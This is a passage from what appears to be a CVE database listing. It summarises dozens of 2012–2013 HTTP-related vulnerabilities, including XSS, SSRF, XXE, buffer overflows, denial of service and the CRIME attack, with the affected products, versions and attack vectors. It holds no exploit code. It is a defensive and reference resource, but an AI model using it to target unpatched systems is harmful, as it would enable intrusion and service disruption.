18930| [CVE-2013-0270] OpenStack Keystone Grizzly before 2013.1, Folsom, and possibly earlier allows remote attackers to cause a denial of service (CPU and memory consumption) via a large HTTP request, as demonstrated by a long tenant_name when requesting a token.
18931| [CVE-2013-0235] The XMLRPC API in WordPress before 3.5.1 allows remote attackers to send HTTP requests to intranet servers, and conduct port-scanning attacks, by specifying a crafted source URL for a pingback, related to a Server-Side Request Forgery (SSRF) issue.
18932| [CVE-2013-0230] Stack-based buffer overflow in the ExecuteSoapAction function in the SOAPAction handler in the HTTP service in MiniUPnP MiniUPnPd 1.0 allows remote attackers to execute arbitrary code via a long quoted method.
18933| [CVE-2013-0183] multipart/parser.rb in Rack 1.3.x before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to cause a denial of service (memory consumption and out-of-memory error) via a long string in a Multipart HTTP packet.
18934| [CVE-2013-0005] The WCF Replace function in the Open Data (aka OData) protocol implementation in Microsoft .NET Framework 3.5, 3.5 SP1, 3.5.1, and 4, and the Management OData IIS Extension on Windows Server 2012, allows remote attackers to cause a denial of service (resource consumption and daemon restart) via crafted values in HTTP requests, aka "Replace Denial of Service Vulnerability."
18935| [CVE-2012-6571] The HTTP module in the (1) Branch Intelligent Management System (BIMS) and (2) web management components on Huawei AR routers and S2000, S3000, S3500, S3900, S5100, S5600, and S7800 switches uses predictable Session ID values, which makes it easier for remote attackers to hijack sessions via a brute-force attack.
18936| [CVE-2012-6570] The HTTP module in the (1) Branch Intelligent Management System (BIMS) and (2) web management components on Huawei AR routers and S2000, S3000, S3500, S3900, S5100, S5600, S7800, and S8500 switches does not check whether HTTP data is longer than the value of the Content-Length field, which allows remote HTTP servers to conduct heap-based buffer overflow attacks and execute arbitrary code via a crafted response.
18937| [CVE-2012-6569] Stack-based buffer overflow in the HTTP module in the (1) Branch Intelligent Management System (BIMS) and (2) web management components on Huawei AR routers and S2000, S3000, S3500, S3900, S5100, S5600, S7800, and S8500 switches allows remote attackers to execute arbitrary code via a long URI.
18938| [CVE-2012-6551] The default configuration of Apache ActiveMQ before 5.8.0 enables a sample web application, which allows remote attackers to cause a denial of service (broker resource consumption) via HTTP requests.
18939| [CVE-2012-6530] Stack-based buffer overflow in Sysax Multi Server before 5.52, when HTTP is enabled, allows remote authenticated users with the create folder permission to execute arbitrary code via a crafted request.
18940| [CVE-2012-6471] Opera before 12.12 allows remote attackers to spoof the address field via a high rate of HTTP requests.
18941| [CVE-2012-6468] Heap-based buffer overflow in Opera before 12.11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a long HTTP response.
18942| [CVE-2012-6461] The X.509 certificate-validation functionality in the https implementation in Opera before 12.10 allows remote attackers to trigger a false indication of successful revocation-status checking by causing a failure of a single checking service.
18943| [CVE-2012-6369] Cross-site scripting (XSS) vulnerability in the Troubleshooting Reporting System feature in AgileBits 1Password 3.9.9 might allow remote attackers to inject arbitrary web script or HTML via a crafted User-Agent HTTP header that is not properly handled in a View Troubleshooting Report action.
18944| [CVE-2012-6128] Multiple stack-based buffer overflows in http.c in OpenConnect before 4.08 allow remote VPN gateways to cause a denial of service (application crash) via a long (1) hostname, (2) path, or (3) cookie list in a response.
18945| [CVE-2012-6112] classes/GoogleSpell.php in the PHP Spellchecker (aka Google Spellchecker) addon before 2.0.6.1 for TinyMCE, as used in Moodle 2.1.x before 2.1.10, 2.2.x before 2.2.7, 2.3.x before 2.3.4, and 2.4.x before 2.4.1 and other products, does not properly handle control characters, which allows remote attackers to trigger arbitrary outbound HTTP requests via a crafted string.
18946| [CVE-2012-6072] CRLF injection vulnerability in CloudBees Jenkins before 1.491, Jenkins LTS before 1.480.1, and Jenkins Enterprise 1.424.x before 1.424.6.13, 1.447.x before 1.447.4.1, and 1.466.x before 1.466.10.1 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
18947| [CVE-2012-6026] The HTTP Profiler on the Cisco Aironet Access Point with software 15.2 and earlier does not properly manage buffers, which allows remote attackers to cause a denial of service (device reload) via crafted HTTP requests, aka Bug ID CSCuc62460.
18948| [CVE-2012-5970] The Huawei E585 device allows remote attackers to cause a denial of service (NULL pointer dereference and device outage) via crafted HTTP requests, as demonstrated by unspecified vulnerability-scanning software.
18949| [CVE-2012-5955] Unspecified vulnerability in the IBM HTTP Server component 5.3 in IBM WebSphere Application Server (WAS) for z/OS allows remote attackers to execute arbitrary commands via unknown vectors.
18950| [CVE-2012-5953] IBM WebSphere Message Broker 6.1 before 6.1.0.12, 7.0 before 7.0.0.6, and 8.0 before 8.0.0.2, when the Parse Query Strings option is enabled on an HTTPInput node, allows remote attackers to cause a denial of service (infinite loop) via a crafted query string.
18951| [CVE-2012-5936] IBM Sterling B2B Integrator 5.1 and 5.2 and Sterling File Gateway 2.1 and 2.2 do not set the secure flag for the session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
18952| [CVE-2012-5887] The HTTP Digest Access Authentication implementation in Apache Tomcat 5.5.x before 5.5.36, 6.x before 6.0.36, and 7.x before 7.0.30 does not properly check for stale nonce values in conjunction with enforcement of proper credentials, which makes it easier for remote attackers to bypass intended access restrictions by sniffing the network for valid requests.
18953| [CVE-2012-5886] The HTTP Digest Access Authentication implementation in Apache Tomcat 5.5.x before 5.5.36, 6.x before 6.0.36, and 7.x before 7.0.30 caches information about the authenticated user within the session state, which makes it easier for remote attackers to bypass authentication via vectors related to the session ID.
18954| [CVE-2012-5885] The replay-countermeasure functionality in the HTTP Digest Access Authentication implementation in Apache Tomcat 5.5.x before 5.5.36, 6.x before 6.0.36, and 7.x before 7.0.30 tracks cnonce (aka client nonce) values instead of nonce (aka server nonce) and nc (aka nonce-count) values, which makes it easier for remote attackers to bypass intended access restrictions by sniffing the network for valid requests, a different vulnerability than CVE-2011-1184.
18955| [CVE-2012-5875] Firefly Media Server 1.0.0.1359 allows remote attackers to cause a denial of service (NULL pointer dereference) via a (1) crafted Connection HTTP header
18956| [CVE-2012-5825] Tweepy does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate, related to use of the Python httplib library.
18957| [CVE-2012-5786] The wsdl_first_https sample code in distribution/src/main/release/samples/wsdl_first_https/src/main/ in Apache CXF, possibly 2.6.0, does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.
18958| [CVE-2012-5783] Apache Commons HttpClient 3.x, as used in Amazon Flexible Payments Service (FPS) merchant Java SDK and other products, does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.
18959| [CVE-2012-5769] IBM SPSS Modeler 14.0, 14.1, 14.2 through FP3, and 15.0 before FP2 allows remote attackers to read arbitrary files, and possibly send HTTP requests to intranet servers or cause a denial of service (CPU and memory consumption), via an XML external entity declaration in conjunction with an entity reference.
18960| [CVE-2012-5657] The (1) Zend_Feed_Rss and (2) Zend_Feed_Atom classes in Zend_Feed in Zend Framework 1.11.x before 1.11.15 and 1.12.x before 1.12.1 allow remote attackers to read arbitrary files, send HTTP requests to intranet servers, and possibly cause a denial of service (CPU and memory consumption) via an XML External Entity (XXE) attack.
18961| [CVE-2012-5633] The URIMappingInterceptor in Apache CXF before 2.5.8, 2.6.x before 2.6.5, and 2.7.x before 2.7.2, when using the WSS4JInInterceptor, bypasses WS-Security processing, which allows remote attackers to obtain access to SOAP services via an HTTP GET request.
18962| [CVE-2012-5624] The XMLHttpRequest object in Qt before 4.8.4 enables http redirection to the file scheme, which allows man-in-the-middle attackers to force the read of arbitrary local files and possibly obtain sensitive information via a file: URL to a QML application.
18963| [CVE-2012-5568] Apache Tomcat through 7.0.x allows remote attackers to cause a denial of service (daemon outage) via partial HTTP requests, as demonstrated by Slowloris.
18964| [CVE-2012-5533] The http_request_split_value function in request.c in lighttpd before 1.4.32 allows remote attackers to cause a denial of service (infinite loop) via a request with a header containing an empty token, as demonstrated using the "Connection: TE,,Keep-Alive" header.
18965| [CVE-2012-5368] phpMyAdmin 3.5.x before 3.5.3 uses JavaScript code that is obtained through an HTTP session to phpmyadmin.net without SSL, which allows man-in-the-middle attackers to conduct cross-site scripting (XSS) attacks by modifying this code.
18966| [CVE-2012-5344] Directory traversal vulnerability in the WebServer (Thttpd.bat) in IpTools (aka Tiny TCP/IP server) 0.1.4 allows remote attackers to read arbitrary files via a .. (dot dot) in a HTTP request.
18967| [CVE-2012-5335] Directory traversal vulnerability in Tiny Server 1.1.5 allows remote authenticated users to read arbitrary files via a .. (dot dot) in the URI of an HTTP request.
18968| [CVE-2012-5332] at32 Reverse Proxy 1.060.310 allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a long string in an HTTP header field, as demonstrated using the If-Unmodified-Since field.
18969| [CVE-2012-5303] Monkey HTTP Daemon 0.9.3 might allow local users to overwrite arbitrary files via a symlink attack on a PID file, as demonstrated by a pathname different from the default /var/run/monkey.pid pathname.
18970| [CVE-2012-4999] Mercury MR804 Router 8.0 3.8.1 Build 101220 Rel.53006nB allows remote attackers to cause a denial of service (service hang) via a crafted string in HTTP header fields such as (1) If-Modified-Since, (2) If-None-Match, or (3) If-Unmodified-Since. NOTE: some of these details are obtained from third party information.
18971| [CVE-2012-4930] The SPDY protocol 3 and earlier, as used in Mozilla Firefox, Google Chrome, and other products, can perform TLS encryption of compressed data without properly obfuscating the length of the unencrypted data, which allows man-in-the-middle attackers to obtain plaintext HTTP headers by observing length differences during a series of guesses in which a string in an HTTP request potentially matches an unknown string in an HTTP header, aka a "CRIME" attack.
18972| [CVE-2012-4929] The TLS protocol 1.2 and earlier, as used in Mozilla Firefox, Google Chrome, Qt, and other products, can encrypt compressed data without properly obfuscating the length of the unencrypted data, which allows man-in-the-middle attackers to obtain plaintext HTTP headers by observing length differences during a series of guesses in which a string in an HTTP request potentially matches an unknown string in an HTTP header, aka a "CRIME" attack.
18973| [CVE-2012-4846] IBM Lotus Notes 8.5.x before 8.5.3 FP3 does not include the HTTPOnly flag in a Set-Cookie header for a web-application cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie, aka SPRs JMAS7TRNLN and SRAO8U3Q68.
18974| [CVE-2012-4816] IBM Rational Automation Framework (RAF) 3.x through 3.0.0.5 allows remote attackers to bypass intended Env Gen Wizard (aka Environment Generation Wizard) access restrictions by visiting context roots in HTTP sessions on port 8080.
18975| [CVE-2012-4710] Invensys Wonderware Win-XML Exporter 1522.148.0.0 allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service (CPU and memory consumption) via an XML external entity declaration in conjunction with an entity reference.
18976| [CVE-2012-4689] Integer overflow in CimWebServer.exe in GE Intelligent Platforms Proficy HMI/SCADA - CIMPLICITY 4.01 through 8.0, and Proficy Process Systems with CIMPLICITY, allows remote attackers to cause a denial of service (daemon crash) via a malformed HTTP request.
18977| [CVE-2012-4592] The Portal in McAfee Enterprise Mobility Manager (EMM) before 10.0 does not set the secure flag for the ASP.NET session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
18978| [CVE-2012-4558] Multiple cross-site scripting (XSS) vulnerabilities in the balancer_handler function in the manager interface in mod_proxy_balancer.c in the mod_proxy_balancer module in the Apache HTTP Server 2.2.x before 2.2.24-dev and 2.4.x before 2.4.4 allow remote attackers to inject arbitrary web script or HTML via a crafted string.
18979| [CVE-2012-4557] The mod_proxy_ajp module in the Apache HTTP Server 2.2.12 through 2.2.21 places a worker node into an error state upon detection of a long request-processing time, which allows remote attackers to cause a denial of service (worker consumption) via an expensive request.
18980| [CVE-2012-4556] The token processing system (pki-tps) in Red Hat Certificate System (RHCS) before 8.1.3 allows remote attackers to cause a denial of service (Apache httpd web server child process restart) via certain unspecified empty search fields in a user certificate search query.
18981| [CVE-2012-4555] The token processing system (pki-tps) in Red Hat Certificate System (RHCS) before 8.1.3 does not properly handle interruptions of token format operations, which allows remote attackers to cause a denial of service (NULL pointer dereference and Apache httpd web server child process crash) via unspecified vectors.
18982| [CVE-2012-4545] The http_negotiate_create_context function in protocol/http/http_negotiate.c in ELinks 0.12 before 0.12pre6, when using HTTP Negotiate or GSS-Negotiate authentication, delegates user credentials through GSSAPI, which allows remote servers to authenticate as the client via the delegated credentials.
18983| [CVE-2012-4534] org/apache/tomcat/util/net/NioEndpoint.java in Apache Tomcat 6.x before 6.0.36 and 7.x before 7.0.28, when the NIO connector is used in conjunction with sendfile and HTTPS, allows remote attackers to cause a denial of service (infinite loop) by terminating the connection during the reading of a response.
18984| [CVE-2012-4528] The mod_security2 module before 2.7.0 for the Apache HTTP Server allows remote attackers to bypass rules, and deliver arbitrary POST data to a PHP application, via a multipart request in which an invalid part precedes the crafted data.
18985| [CVE-2012-4520] The django.http.HttpRequest.get_host function in Django 1.3.x before 1.3.4 and 1.4.x before 1.4.2 allows remote attackers to generate and display arbitrary URLs via crafted username and password Host header values.
18986| [CVE-2012-4505] Heap-based buffer overflow in the px_pac_reload function in lib/pac.c in libproxy 0.2.x and 0.3.x allows remote servers to have an unspecified impact via a crafted Content-Length size in an HTTP response header for a proxy.pac file request, a different vulnerability than CVE-2012-4504.
18987| [CVE-2012-4443] Monkey HTTP Daemon 0.9.3 uses a real UID of root and a real GID of root during execution of CGI scripts, which might allow local users to gain privileges by leveraging cgi-bin write access.
18988| [CVE-2012-4442] Monkey HTTP Daemon 0.9.3 retains the supplementary group IDs of the root account during operations with a non-root effective UID, which might allow local users to bypass intended file-read restrictions by leveraging a race condition in a file-permission check.
18989| [CVE-2012-4388] The sapi_header_op function in main/SAPI.c in PHP 5.4.0RC2 through 5.4.0 does not properly determine a pointer during checks for %0D sequences (aka carriage return characters), which allows remote attackers to bypass an HTTP response-splitting protection mechanism via a crafted URL, related to improper interaction between the PHP header function and certain browsers, as demonstrated by Internet Explorer and Google Chrome. NOTE: this vulnerability exists because of an incorrect fix for CVE-2011-1398.
18990| [CVE-2012-4360] Cross-site scripting (XSS) vulnerability in the mod_pagespeed module 0.10.19.1 through 0.10.22.4 for the Apache HTTP Server allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
18991| [CVE-2012-4271] Multiple cross-site scripting (XSS) vulnerabilities in bad-behavior-wordpress-admin.php in the Bad Behavior plugin before 2.0.47 and 2.2.x before 2.2.5 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) PATH_INFO, (2) httpbl_key, (3) httpbl_maxage, (4) httpbl_threat, (5) reverse_proxy_addresses, or (6) reverse_proxy_header parameter.
18992| [CVE-2012-4268] Cross-site scripting (XSS) vulnerability in bulletproof-security/admin/options.php in the BulletProof Security plugin before .47.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the HTTP_ACCEPT_ENCODING header.
18993| [CVE-2012-4263] Cross-site scripting (XSS) vulnerability in inc/admin/content.php in the Better WP Security (better_wp_security) plugin before 3.2.5 for WordPress allows remote attackers to inject arbitrary web script or HTML via the HTTP_USER_AGENT header.
18994| [CVE-2012-4205] Mozilla Firefox before 17.0, Thunderbird before 17.0, and SeaMonkey before 2.14 assign the system principal, rather than the sandbox principal, to XMLHttpRequest objects created in sandboxes, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks or obtain sensitive information by leveraging a sandboxed add-on.
18995| [CVE-2012-4023] CRLF injection vulnerability in Pebble before 2.6.4 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
18996| [CVE-2012-4001] The mod_pagespeed module before 0.10.22.6 for the Apache HTTP Server does not properly verify its host name, which allows remote attackers to trigger HTTP requests to arbitrary hosts via unspecified vectors, as demonstrated by requests to intranet servers.
18997| [CVE-2012-3976] Mozilla Firefox before 15.0, Firefox ESR 10.x before 10.0.7, and SeaMonkey before 2.12 do not properly handle onLocationChange events during navigation between different https sites, which allows remote attackers to spoof the X.509 certificate information in the address bar via a crafted web page.
18998| [CVE-2012-3973] The debugger in the developer-tools subsystem in Mozilla Firefox before 15.0, when remote debugging is disabled, does not properly restrict access to the remote-debugging service, which allows remote attackers to execute arbitrary code by leveraging the presence of the HTTPMonitor extension and connecting to that service through the HTTPMonitor port.
18999| [CVE-2012-3884] AirDroid 1.0.4 beta implements authentication through direct transmission of a password hash over HTTP, which makes it easier for remote attackers to obtain access by sniffing the local wireless network and then replaying the authentication data.
19000| [CVE-2012-3848] Multiple cross-site scripting (XSS) vulnerabilities in the web console in Plixer Scrutinizer (aka Dell SonicWALL Scrutinizer) before 9.5.0 allow remote attackers to inject arbitrary web script or HTML via (1) the query string to d4d/exporters.php, (2) the HTTP Referer header to d4d/exporters.php, or (3) unspecified input to d4d/contextMenu.php.
19001| [CVE-2012-3829] Joomla! 2.5.3 allows remote attackers to obtain the installation path via the Host HTTP Header.
19002| [CVE-2012-3828] Cross-site scripting (XSS) vulnerability in Joomla! 2.5.3 allows remote attackers to inject arbitrary web script or HTML via the Host HTTP Header.
19003| [CVE-2012-3742] Safari in Apple iOS before 6 does not properly restrict use of an unspecified Unicode character that looks similar to the https lock indicator, which allows remote attackers to spoof https connections by placing this character in the TITLE element of a web page.
19004| [CVE-2012-3724] CFNetwork in Apple iOS before 6 does not properly identify the host portion of a URL, which allows remote attackers to obtain sensitive information by leveraging the construction of an HTTP request with an incorrect hostname derived from a malformed URL.
19005| [CVE-2012-3715] Apple Safari before 6.0.1 makes http requests for https URIs in certain circumstances involving a paste into the address bar, which allows user-assisted remote attackers to obtain sensitive information by sniffing the network.
19006| [CVE-2012-3696] CRLF injection vulnerability in WebKit in Apple Safari before 6.0 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP request splitting attacks via a crafted web site that leverages improper WebSockets URI handling.
19007| [CVE-2012-3526] The reverse proxy add forward module (mod_rpaf) 0.5 and 0.6 for the Apache HTTP Server allows remote attackers to cause a denial of service (server or application crash) via multiple X-Forwarded-For headers in a request.
19008| [CVE-2012-3502] The proxy functionality in (1) mod_proxy_ajp.c in the mod_proxy_ajp module and (2) mod_proxy_http.c in the mod_proxy_http module in the Apache HTTP Server 2.4.x before 2.4.3 does not properly determine the situations that require closing a back-end connection, which allows remote attackers to obtain sensitive information in opportunistic circumstances by reading a response that was intended for a different client.
19009| [CVE-2012-3499] Multiple cross-site scripting (XSS) vulnerabilities in the Apache HTTP Server 2.2.x before 2.2.24-dev and 2.4.x before 2.4.4 allow remote attackers to inject arbitrary web script or HTML via vectors involving hostnames and URIs in the (1) mod_imagemap, (2) mod_info, (3) mod_ldap, (4) mod_proxy_ftp, and (5) mod_status modules.
19010| [CVE-2012-3459] Cumin before 0.1.5444, as used in Red Hat Enterprise Messaging, Realtime, and Grid (MRG) 2.0, allows remote authenticated users to modify Condor attributes and possibly gain privileges via crafted additional parameters in an HTTP POST request, which triggers a job attribute change request to Condor.
19011| [CVE-2012-3442] The (1) django.http.HttpResponseRedirect and (2) django.http.HttpResponsePermanentRedirect classes in Django before 1.3.2 and 1.4.x before 1.4.1 do not validate the scheme of a redirect target, which might allow remote attackers to conduct cross-site scripting (XSS) attacks via a data: URL.
19012| [CVE-2012-3424] The decode_credentials method in actionpack/lib/action_controller/metal/http_authentication.rb in Ruby on Rails 3.x before 3.0.16, 3.1.x before 3.1.7, and 3.2.x before 3.2.7 converts Digest Authentication strings to symbols, which allows remote attackers to cause a denial of service by leveraging access to an application that uses a with_http_digest helper method, as demonstrated by the authenticate_or_request_with_http_digest method.
19013| [CVE-2012-3394] auth/ldap/ntlmsso_attempt.php in Moodle 2.0.x before 2.0.10, 2.1.x before 2.1.7, 2.2.x before 2.2.4, and 2.3.x before 2.3.1 redirects users from an https LDAP login URL to an http URL, which allows remote attackers to obtain sensitive information by sniffing the network.
19014| [CVE-2012-3382] Cross-site scripting (XSS) vulnerability in the ProcessRequest function in mcs/class/System.Web/System.Web/HttpForbiddenHandler.cs in Mono 2.10.8 and earlier allows remote attackers to inject arbitrary web script or HTML via a file with a crafted name and a forbidden extension, which is not properly handled in an error message.
19015| [CVE-2012-3350] SQL injection vulnerability in index.php in Webmatic 3.1.1 allows remote attackers to execute arbitrary SQL commands via the Referer HTTP header.
19016| [CVE-2012-3302] Multiple cross-site scripting (XSS) vulnerabilities in IBM Lotus Domino 7.x and 8.x before 8.5.4 allow remote attackers to inject arbitrary web script or HTML via (1) a URL accessed during use of the Mail template in the WebMail UI or (2) a URL accessed during use of Domino Help through the Domino HTTP server.
19017| [CVE-2012-3301] Multiple CRLF injection vulnerabilities in the HTTP server in IBM Lotus Domino 8.5.x before 8.5.4 allow remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via crafted input involving (1) Mozilla Firefox 3.0.9 and earlier or (2) unspecified browsers.
19018| [CVE-2012-3297] Cross-site scripting (XSS) vulnerability in the embedded HTTP server in the Service Console in IBM Tivoli Monitoring 6.2.2 before 6.2.2-TIV-ITM-FP0009 and 6.3.2 before 6.2.3-TIV-ITM-FP0001 allows remote attackers to inject arbitrary web script or HTML via a crafted URI.
19019| [CVE-2012-3123] Unspecified vulnerability in Oracle Sun Solaris 10 allows remote attackers to affect confidentiality, related to Apache HTTP Server.
19020| [CVE-2012-3117] Unspecified vulnerability in the Oracle Transportation Management component in Oracle Supply Chain Products Suite 5.5.06, 6.0, 6.1, and 6.2 allows remote authenticated users to affect confidentiality via unknown vectors related to HTTP.
19021| [CVE-2012-3088] Cisco AnyConnect Secure Mobility Client 3.1.x before 3.1.00495, and 3.2.x, does not check whether an HTTP request originally contains ScanSafe headers, which allows remote attackers to have an unspecified impact via a crafted request, aka Bug ID CSCua13166.
19022| [CVE-2012-3031] Multiple cross-site scripting (XSS) vulnerabilities in WebNavigator in Siemens WinCC 7.0 SP3 and earlier, as used in SIMATIC PCS7 and other products, allow remote attackers to inject arbitrary web script or HTML via a (1) GET parameter, (2) POST parameter, or (3) Referer HTTP header.
19023| [CVE-2012-3017] Siemens SIMATIC S7-400 PN CPU devices with firmware 5.x allow remote attackers to cause a denial of service (defect-mode transition and service outage) via (1) malformed HTTP traffic or (2) malformed IP packets.
19024| [CVE-2012-3006] The Innominate mGuard Smart HW before HW-101130 and BD before BD-101030, mGuard industrial RS, mGuard delta HW before HW-103060 and BD before BD-211010, mGuard PCI, mGuard blade, and EAGLE mGuard appliances with software before 7.5.0 do not use a sufficient source of entropy for private keys, which makes it easier for man-in-the-middle attackers to spoof (1) HTTPS or (2) SSH servers by predicting a key value.
19025| [CVE-2012-2969] Caucho Quercus, as distributed in Resin before 4.0.29, allows remote attackers to bypass intended restrictions on filename extensions for created files via a %00 sequence in a pathname within an HTTP request.
19026| [CVE-2012-2968] Directory traversal vulnerability in Caucho Quercus, as distributed in Resin before 4.0.29, allows remote attackers to create files in arbitrary directories via a .. (dot dot) in a pathname within an HTTP request.
19027| [CVE-2012-2965] Caucho Quercus, as distributed in Resin before 4.0.29, does not properly handle unspecified characters in the names of variables, which has unknown impact and remote attack vectors, related to an "HTTP Parameter Contamination" issue.
19028| [CVE-2012-2943] CRLF injection vulnerability in cryptographp.inc.php in Cryptographp allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the cfg parameter.
19029| [CVE-2012-2868] Race condition in Google Chrome before 21.0.1180.89 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors involving improper interaction between worker processes and an XMLHttpRequest (aka XHR) object.
19030| [CVE-2012-2733] java/org/apache/coyote/http11/InternalNioInputBuffer.java in the HTTP NIO connector in Apache Tomcat 6.x before 6.0.36 and 7.x before 7.0.28 does not properly restrict the request-header size, which allows remote attackers to cause a denial of service (memory consumption) via a large amount of header data.
19031| [CVE-2012-2694] actionpack/lib/action_dispatch/http/request.rb in Ruby on Rails before 3.0.14, 3.1.x before 3.1.6, and 3.2.x before 3.2.6 does not properly consider differences in parameter handling between the Active Record component and the Rack interface, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks via a crafted request, as demonstrated by certain "['xyz', nil]" values, a related issue to CVE-2012-2660.
19032| [CVE-2012-2687] Multiple cross-site scripting (XSS) vulnerabilities in the make_variant_list function in mod_negotiation.c in the mod_negotiation module in the Apache HTTP Server 2.4.x before 2.4.3, when the MultiViews option is enabled, allow remote attackers to inject arbitrary web script or HTML via a crafted filename that is not properly handled during construction of a variant list.
19033| [CVE-2012-2660] actionpack/lib/action_dispatch/http/request.rb in Ruby on Rails before 3.0.13, 3.1.x before 3.1.5, and 3.2.x before 3.2.4 does not properly consider differences in parameter handling between the Active Record component and the Rack interface, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks via a crafted request, as demonstrated by certain "[nil]" values, a related issue to CVE-2012-2694.
19034| [CVE-2012-2633] Cross-site scripting (XSS) vulnerability in wassup.php in the WassUp plugin before 1.8.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
19035| [CVE-2012-2632] SEIL routers with firmware SEIL/x86 1.00 through 2.35, SEIL/X1 2.30 through 3.75, SEIL/X2 2.30 through 3.75, and SEIL/B1 2.30 through 3.75, when the http-proxy and application-gateway features are enabled, do not properly handle the CONNECT command, which allows remote attackers to bypass intended URL restrictions via a TCP session.
19036| [CVE-2012-2590] Multiple cross-site scripting (XSS) vulnerabilities in ESCON SupportPortal Professional Edition 3.0 allow remote attackers to inject arbitrary web script or HTML via an e-mail message body with (1) a SCRIPT element, (2) a crafted SRC attribute of an IFRAME element, (3) a crafted CONTENT attribute of an HTTP-EQUIV="Set-Cookie" META element, or (4) an innerHTML attribute within an XML document.
19037| [CVE-2012-2585] Multiple cross-site scripting (XSS) vulnerabilities in ManageEngine ServiceDesk Plus 8.1 allow remote attackers to inject arbitrary web script or HTML via an e-mail message body with (1) a SCRIPT element, (2) a crafted Cascading Style Sheets (CSS) expression property, (3) a CSS expression property in the STYLE attribute of an arbitrary element, or (4) a crafted SRC attribute of an IFRAME element, or an e-mail message subject with (5) a SCRIPT element, (6) a CSS expression property in the STYLE attribute of an arbitrary element, (7) a crafted SRC attribute of an IFRAME element, (8) a crafted CONTENT attribute of an HTTP-EQUIV="refresh" META element, or (9) a data: URL in the CONTENT attribute of an HTTP-EQUIV="refresh" META element.
19038| [CVE-2012-2582] Multiple cross-site scripting (XSS) vulnerabilities in Open Ticket Request System (OTRS) Help Desk 2.4.x before 2.4.13, 3.0.x before 3.0.15, and 3.1.x before 3.1.9, and OTRS ITSM 2.1.x before 2.1.5, 3.0.x before 3.0.6, and 3.1.x before 3.1.6, allow remote attackers to inject arbitrary web script or HTML via an e-mail message body with (1) a Cascading Style Sheets (CSS) expression property in the STYLE attribute of an arbitrary element or (2) UTF-7 text in an HTTP-EQUIV="CONTENT-TYPE" META element.
19039| [CVE-2012-2573] Multiple cross-site scripting (XSS) vulnerabilities in T-dah WebMail 3.2.0-2.3 allow remote attackers to inject arbitrary web script or HTML via an e-mail message body with (1) a SCRIPT element, (2) a crafted Cascading Style Sheets (CSS) expression property, (3) a CSS expression property in the STYLE attribute of an arbitrary element, (4) an ONLOAD attribute of a BODY element, (5) a crafted SRC attribute of an IFRAME element, (6) a crafted CONTENT attribute of an HTTP-EQUIV="refresh" META element, or (7) a data: URL in the CONTENT attribute of an HTTP-EQUIV="refresh" META element.
19040| [CVE-2012-2571] Multiple cross-site scripting (XSS) vulnerabilities in WinWebMail Server 3.8.1.6 allow remote attackers to inject arbitrary web script or HTML via an e-mail message body with (1) a SCRIPT element, (2) a crafted Cascading Style Sheets (CSS) expression property, (3) a CSS expression property in the STYLE attribute of an arbitrary element, (4) a crafted SRC attribute of an IFRAME element, or (5) UTF-7 text in an HTTP-EQUIV="CONTENT-TYPE" META element.
19041| [CVE-2012-2567] The Xelex MobileTrack application 2.3.7 and earlier for Android uses hardcoded credentials, which allows remote attackers to obtain sensitive information via an unencrypted (1) FTP or (2) HTTP session.
19042| [CVE-2012-2566] Bloxx Web Filtering before 5.0.14 does not properly interpret X-Forwarded-For headers during access-control and logging operations for HTTPS connection attempts, which allows remote attackers to bypass intended IP address and domain restrictions, and trigger misleading log entries, via a crafted header.
19043| [CVE-2012-2560] Directory traversal vulnerability in WellinTech KingView 6.53 allows remote attackers to read arbitrary files via a crafted HTTP request to port 8001.
19044| [CVE-2012-2549] The IP-HTTPS server in Windows Server 2008 R2 and R2 SP1 and Server 2012 does not properly validate certificates, which allows remote attackers to bypass intended access restrictions via a revoked certificate, aka "Revoked Certificate Bypass Vulnerability."
19045| [CVE-2012-2441] RuggedCom Rugged Operating System (ROS) before 3.3 has a factory account with a password derived from the MAC Address field in a banner, which makes it easier for remote attackers to obtain access by performing a calculation on this address value, and then establishing a (1) SSH or (2) HTTPS session, a different vulnerability than CVE-2012-1803.
19046| [CVE-2012-2440] The default configuration of the TP-Link 8840T router enables web-based administration on the WAN interface, which allows remote attackers to establish an HTTP connection and possibly have unspecified other impact via unknown vectors.
19047| [CVE-2012-2439] The default configuration of the NETGEAR ProSafe FVS318N firewall enables web-based administration on the WAN interface, which allows remote attackers to establish an HTTP connection and possibly have unspecified other impact via unknown vectors.
19048| [CVE-2012-2438] ar web content manager (AWCM) 2.2 does not restrict the number of comment records that can be submitted through HTTP requests, which allows remote attackers to cause a denial of service (disk consumption) via the coment parameter to (1) show_video.php or (2) topic.php.
19049| [CVE-2012-2423] The intu-help-qb (aka Intuit Help System Async Pluggable Protocol) handlers in HelpAsyncPluggableProtocol.dll in Intuit QuickBooks 2009 through 2012, when Internet Explorer is used, provide different responses to remote requests depending on whether a ZIP pathname is valid, which allows remote attackers to obtain potentially sensitive information about the installation path and product version via a series of requests involving the Msxml2.XMLHTTP object.
